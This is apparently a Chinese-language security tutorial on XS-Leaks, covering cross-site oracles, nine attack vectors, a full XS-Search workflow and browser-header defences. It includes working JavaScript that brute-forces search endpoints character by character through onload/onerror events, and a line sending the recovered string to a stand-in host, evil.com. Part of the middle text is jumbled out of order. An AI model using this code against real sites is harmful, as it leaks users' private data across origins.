导语:XS-Leaks(Cross-Site Leaks)不是新漏洞类别,而是把同源策略的”小缝隙”用到了极致。攻击者不直接读响应内容,而是通过浏览器暴露的侧信道——状态码、frame 数、加载时长、缓存命中——做”是否”的二元判断,把一个完整字符串拆成 N 次 Yes/No 查询拼回去。
一、XS-Leaks 是什么
XS-Leaks 全称 Cross-Site Leaks。Same-Origin Policy(同源策略)虽然堵死了跨域读响应内容,但浏览器在跨域请求时仍然会泄露一堆行为差异——这是天然的 oracle 来源。
把这些差异做成 Y/N 查询,就能拼出目标应用的状态。攻击面有多大?答案是几乎所有涉及跨域请求、跨域导航、跨域嵌入的场景都可能中招。
1.1 Cross-Site Oracle
XS-Leaks 的核心是”二元 oracle”。oracle 不是数据库那个 oracle,是一个只回答 Yes/No 的查询机制:
问:用户 Harsh 是否存在于应用?
答:是 → 用户存在
答:否 → 用户不存在
一次 oracle 只拿 1 bit 信息。但攻击者可以发起成千上万次请求,把每一位 bit 拼回去——最终拼出一封邮件、一个搜索词、一条交易记录。
oracle 的来源五花八门:HTTP 状态码、错误事件、frame 数、加载耗时、缓存命中与否、PostMessage 监听……这些都是浏览器侧信道。

1.2 一个简单例子
假设 bank.com 有个 API 返回用户的某类交易记录:
GET https://bank.com/my_receipt?q=groceries
- 用户最近买过 groceries → 返回 200
- 用户没买过 groceries → 返回 404
evil.com 在用户访问时构造一个 。浏览器会自动带上 Cookie,跨域请求照样发出,但 evil.com 读不到响应内容。
不过浏览器会通过 Error Event 暴露结果:
const s = document.createElement('script');
s.src = 'https://bank.com/my_receipt?q=groceries';
s.onerror = () => console.log('Miss: 404');
s.onload = () => console.log('Hit: 200');
document.head.append(s);
把 q 换成 rent、gas、medical……能推断出用户完整的消费记录。
二、九大攻击向量
XS-Leaks 的攻击面来自浏览器各组件。下面按实战价值从高到低排序,列出九条主流路线。
2.1 XS-Search(最经典)
把搜索引擎、邮箱搜索、好友搜索这种”query → 命中”的接口作为 oracle,逐字符爆破:
?search=h → Hit(首字母 h 命中)
?search=ha → Hit
?search=hb → Miss(ha 已锁定,下一位往 a 走)
最终把命中字符串拼接出来。Google、Facebook、Gmail 都曾因这个被爆出过大规模数据泄漏。
2.2 Error Events
通过 onerror、onload 监听跨域资源加载结果。前面银行例子就是典型用法,HTTP 状态码(200 vs 404)会触发不同事件。Twitter、Facebook 等大型应用都曾因这个泄漏过用户关系链。
2.3 Frame Counting
window.length 返回当前页面 frame 数量。某些应用根据用户状态渲染不同数量的 iframe——比如已登录显示 3 个,未登录显示 1 个。
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/dashboard';
iframe.onload = () => {
console.log('frames:', iframe.contentWindow.length);
};
2.4 Navigation Attacks
跨域导航的 redirect 链长度、是否触发 window.open 拦截、URL hash 是否改变,都能作为 oracle。例如某应用根据用户权限 redirect 到不同路径,可以通过 redirect 链差异做权限枚举。
2.5 Cache Probing
浏览器 HTTP 缓存是公开可探测的——fetch 加 no-store 重发请求,根据响应时间差异判断之前是否被缓存过。能推断出”用户是否访问过某个 URL”,是钓鱼和社交工程的好帮手。
2.6 ID Attribute
部分前端框架把数据塞进 DOM 属性,比如 页面里如果有跨域 PostMessage 监听,攻击者从 CORB(Cross-Origin Read Blocking)和 CORP(Cross-Origin Resource Policy)是浏览器用来阻断跨域读响应的。但它们的阻断行为本身是 oracle——某些应用在不同状态返回不同 MIME 类型,CORB 阻断与否会触发不同的事件,能被利用。 最精细但最难打的方向。攻击者通过测量请求耗时推断后端逻辑: Timing 攻击对网络环境要求高,但配合 XS-Search 能把误判率压到极低。 把上面所有能力串起来,标准 XS-Search 攻击分四步: 第一步:定义 Hit / Miss 判定标准 第二步:从第一个字符开始爆破 第三步:处理歧义 某些应用对部分匹配也返回 Hit,需要做”长字符串回退”——发现 第四步:外带结果 拿到完整字符串后通过 XS-Leaks 防御面很广,因为 oracle 散布在浏览器各个组件。最实用的几条: 不同状态返回相同长度、相同 MIME、相同 header 的响应,让 oracle 失效。很多 XS-Leaks 利用 200 vs 404 的差异,把 404 也改成 200 响应 + 空 body,攻击面立刻小一半。 XS-Search 的特征是短时间高频相似请求。配合 WAF 风控 + 业务限速,识别后直接封 IP 或弹验证码,能极大提升攻击成本。 XS-Leaks 不会直接 RCE,也不会直接偷 Cookie,但它能做一件更隐蔽的事——把跨域接口变成 oracle,逐 bit 推断出整个用户数据库。 防御它没有银弹,只能从 Cookie、响应头、状态码、风控四路并进。下次看到接口 2.7 PostMessage Broadcasts
evil.com 发送消息,根据目标页面是否回应判断状态。比如某些 SSO 系统会根据登录状态回不同消息,间接暴露用户登录情况。2.8 滥用 CORB / CORP
2.9 Timing Attacks
Clock Based → performance.now() 测整体耗时
Network Timing → 看 Connection Reused 还是新连接
Execution Timing → 测 JS 执行时长(间接反映响应大小)
Hybrid Timing → 多种信号混合
Connection Pool → 浏览器连接池耗尽时新请求会排队
三、XS-Search 完整工作流
function testOracle(query) {
return new Promise(resolve => {
const img = new Image();
img.src = `https://target.com/api/search?q=${query}&cb=${Date.now()}`;
img.onerror = () => resolve(false); // 404 → Miss
img.onload = () => resolve(true); // 200 → Hit
});
}const charset = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
async function brute() {
for (let pos = 0; pos < 20; pos++) {
for (const ch of charset) {
const candidate = result + ch;
const hit = await testOracle(candidate);
if (hit) {
result = candidate;
console.log('Found so far:', result);
break;
}
}
}
}h 和 ha 都命中时优先取更长的,避免误判。fetch('https://evil.com/collect?d=' + result) 或 WebSocket 把数据外带。注意:这条 fetch 必须放在 evil.com 自己的上下文里,不能用 target 域。
四、防御方案
4.1 SameSite Cookie 强制
SameSite=Lax 或 Strict 能阻断大部分跨域自动带 Cookie 的请求,把 XS-Leaks 的入口堵死一半。这是 2020 年 Chrome 默认开启后,XS-Leaks 实际影响力下降的主要原因。4.2 跨域响应头加固
Cross-Origin-Resource-Policy: same-origin 限制跨域嵌入Cross-Origin-Opener-Policy: same-origin 阻断 window.opener 引用Cross-Origin-Embedder-Policy: require-corp 强制 CORP4.3 状态码统一
4.4 接口限速 + 风控
4.5 Frame-Options / CSP
X-Frame-Options: DENY 和严格的 CSP(frame-ancestors 'none')能堵掉大部分 frame counting 攻击。
五、总结
?search= 这种 query endpoint,自问一下:如果有人每天发几十万次相似请求,会泄漏什么?














暂无评论内容